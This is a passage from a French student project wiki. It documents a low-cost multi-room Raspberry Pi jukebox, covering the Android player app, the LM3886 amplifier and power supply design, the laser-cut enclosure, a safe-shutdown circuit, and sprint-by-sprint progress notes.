&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par le pont de Graetz, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal élevé et lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffit de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 4.5V est connecté à ce circuit (Suffisant pour alimenter la Raspberry Pi assez de temps pour l'extinction).&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, côté connecté à rien. Dans cette situation, rien de spécial ne se passe.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, les piles ne seront plus connectées à la Raspberry ce qui les préservera en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement)&amp;lt;br&amp;gt;&lt;br /&gt;
(Face TOP / Face BOTTOM)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;***REVISION B*** :&amp;lt;br&amp;gt;&lt;br /&gt;
Transistor T3 (qui connecte la RPi à la masse) en mode passant dès le branchement de la prise 5V (dans cette version, le transistor est donc déjà passant avant même que la RPi soit allumée. Evite les bugs de fonctionnement : &amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DriverButtonsREVB_Schematics.png|500px]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtonsREVB_3D_TOP.png|200px]] [[Fichier:DriverButtonsREVB_3D_BOT.png|199px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27491</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27491"/>
				<updated>2016-02-21T17:18:56Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Alimentation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
